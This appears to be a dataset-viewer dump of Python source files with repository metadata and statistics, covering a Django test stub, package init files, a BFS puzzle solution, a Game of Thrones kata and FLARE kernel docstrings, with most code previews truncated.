] | 7 | 2020-06-06T00:35:45.000Z | 2022-02-10T13:55:29.000Z | accounts/tests.py | liyaSileshi/makewiki_v2 | d1953e191fa92a2f2888f9dbaf97ce583fd03cc8 | [
"MIT"
] | null | null | null | from django.test import TestCase
from django.contrib.auth.models import User
# Create your tests here.
| 25.75 | 43 | 0.815534 | 16 | 103 | 5.25 | 0.8125 | 0.238095 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.126214 | 103 | 3 | 44 | 34.333333 | 0.933333 | 0.223301 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1bdedf5f7da740aa9978b055460d388dd8ce527d | 80 | py | Python | darbiadev_ups/__init__.py | darbiadev/darbiadev-ups | 4d25f29ac6fc90fff20ce9f5060b8412eafdfeb0 | [
"MIT"
] | null | null | null | darbiadev_ups/__init__.py | darbiadev/darbiadev-ups | 4d25f29ac6fc90fff20ce9f5060b8412eafdfeb0 | [
"MIT"
] | null | null | null | darbiadev_ups/__init__.py | darbiadev/darbiadev-ups | 4d25f29ac6fc90fff20ce9f5060b8412eafdfeb0 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""UPS Services"""
from .ups_services import UPSServices
| 16 | 37 | 0.7375 | 11 | 80 | 5.272727 | 0.818182 | 0.37931 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1125 | 80 | 4 | 38 | 20 | 0.816901 | 0.4125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1bfbf6d93f140cb2216b7968d581466b9a233314 | 6,713 | py | Python | BOJ_Solved/BOJ-15644.py | CodingLeeSeungHoon/Python_Algorithm_TeamNote | 1e92986999b45aa9951e12e67b23062e410e9b36 | [
"MIT"
] | 7 | 2021-11-19T14:50:59.000Z | 2022-02-25T20:00:20.000Z | BOJ_Solved/BOJ-15644.py | CodingLeeSeungHoon/Python_Algorithm_TeamNote | 1e92986999b45aa9951e12e67b23062e410e9b36 | [
"MIT"
] | null | null | null | BOJ_Solved/BOJ-15644.py | CodingLeeSeungHoon/Python_Algorithm_TeamNote | 1e92986999b45aa9951e12e67b23062e410e9b36 | [
"MIT"
] | null | null | null | """
백준 15644번 : 구슬 탈출 3
"""
from collections import deque
import sys
input = sys.stdin.readline
N, M = map(int, input().split())
board = [list(input()) for _ in range(N)]
bx, by, rx, ry, hx, hy = 0, 0, 0, 0, 0, 0
visited = [[[[False for _ in range(11)] for _ in range(11)] for _ in range(11)] for _ in range(11)]
for i... | 43.309677 | 117 | 0.35111 | 772 | 6,713 | 3.046632 | 0.098446 | 0.117347 | 0.140306 | 0.122449 | 0.802296 | 0.777636 | 0.768282 | 0.768282 | 0.768282 | 0.768282 | 0 | 0.02727 | 0.486519 | 6,713 | 155 | 118 | 43.309677 | 0.655062 | 0.004767 | 0 | 0.649635 | 0 | 0 | 0.012142 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.007299 | false | 0 | 0.014599 | 0 | 0.094891 | 0.021898 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4018536558147e313bb935c619234fe9964b112c | 39 | py | Python | applications/physbam/physbam-lib/External_Libraries/Archives/boost/tools/regression/xsl_reports/runner/__init__.py | schinmayee/nimbus | 170cd15e24a7a88243a6ea80aabadc0fc0e6e177 | [
"BSD-3-Clause"
] | 20 | 2017-07-03T19:09:09.000Z | 2021-09-10T02:53:56.000Z | applications/physbam/physbam-lib/External_Libraries/Archives/boost/tools/regression/xsl_reports/runner/__init__.py | schinmayee/nimbus | 170cd15e24a7a88243a6ea80aabadc0fc0e6e177 | [
"BSD-3-Clause"
] | null | null | null | applications/physbam/physbam-lib/External_Libraries/Archives/boost/tools/regression/xsl_reports/runner/__init__.py | schinmayee/nimbus | 170cd15e24a7a88243a6ea80aabadc0fc0e6e177 | [
"BSD-3-Clause"
] | 9 | 2017-09-17T02:05:06.000Z | 2020-01-31T00:12:01.000Z |
from collect_and_upload_logs import *
| 13 | 37 | 0.846154 | 6 | 39 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128205 | 39 | 2 | 38 | 19.5 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4056ef620010d024cb1dc598ab34795e3455ab64 | 180 | py | Python | katas/beta/find_jon_snow_parents.py | the-zebulan/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 40 | 2016-03-09T12:26:20.000Z | 2022-03-23T08:44:51.000Z | katas/beta/find_jon_snow_parents.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | null | null | null | katas/beta/find_jon_snow_parents.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 36 | 2016-11-07T19:59:58.000Z | 2022-03-31T11:18:27.000Z | def jonSnowParents(dad, mom):
if dad == 'Rhaegar Targaryen' and mom == 'Lyanna Stark':
return 'Jon Snow you deserve the throne'
return 'Jon Snow, you know nothing'
| 36 | 60 | 0.666667 | 25 | 180 | 4.8 | 0.76 | 0.15 | 0.216667 | 0.266667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.233333 | 180 | 4 | 61 | 45 | 0.869565 | 0 | 0 | 0 | 0 | 0 | 0.477778 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
40c864add657ed1ae0e257b4f51eaa9d2c88e892 | 50 | py | Python | shorttext/generators/seq2seq/__init__.py | vishalbelsare/PyShortTextCategorization | 4fa46a148a3eeb923885a7d70c789e988554f758 | [
"MIT"
] | 481 | 2016-10-07T16:48:40.000Z | 2022-03-16T12:44:12.000Z | shorttext/generators/seq2seq/__init__.py | vishalbelsare/PyShortTextCategorization | 4fa46a148a3eeb923885a7d70c789e988554f758 | [
"MIT"
] | 56 | 2017-02-02T17:50:14.000Z | 2021-12-15T05:14:28.000Z | shorttext/generators/seq2seq/__init__.py | vishalbelsare/PyShortTextCategorization | 4fa46a148a3eeb923885a7d70c789e988554f758 | [
"MIT"
] | 70 | 2017-01-28T15:20:46.000Z | 2021-09-30T15:08:41.000Z |
from . import s2skeras
from . import charbaseS2S
| 12.5 | 25 | 0.78 | 6 | 50 | 6.5 | 0.666667 | 0.512821 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04878 | 0.18 | 50 | 3 | 26 | 16.666667 | 0.902439 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dc11d1c0f5e34b0beb8fed66110bd51d2993db67 | 47,672 | py | Python | flare/kernels.py | smheidrich/flare | 5a18c1042a5767ebb8dc20ac59a17df6f1bcad77 | [
"MIT"
] | null | null | null | flare/kernels.py | smheidrich/flare | 5a18c1042a5767ebb8dc20ac59a17df6f1bcad77 | [
"MIT"
] | null | null | null | flare/kernels.py | smheidrich/flare | 5a18c1042a5767ebb8dc20ac59a17df6f1bcad77 | [
"MIT"
] | null | null | null | """Single element 2-, 3-, and 2+3-body kernels.
The kernel functions to choose:
* Two body:
* two_body: force kernel
* two_body_en: energy kernel
* two_body_grad: gradient of kernel function
* two_body_force_en: energy force kernel
* Three body:
* three_body,
* three_body_grad,
* three_b... | 36.783951 | 79 | 0.551456 | 6,550 | 47,672 | 3.851298 | 0.042901 | 0.048165 | 0.022992 | 0.017759 | 0.925513 | 0.909815 | 0.901253 | 0.885991 | 0.878974 | 0.867002 | 0 | 0.061604 | 0.341458 | 47,672 | 1,295 | 80 | 36.812355 | 0.741925 | 0.424987 | 0 | 0.695868 | 0 | 0 | 0.009546 | 0.000893 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054545 | false | 0 | 0.008264 | 0 | 0.122314 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.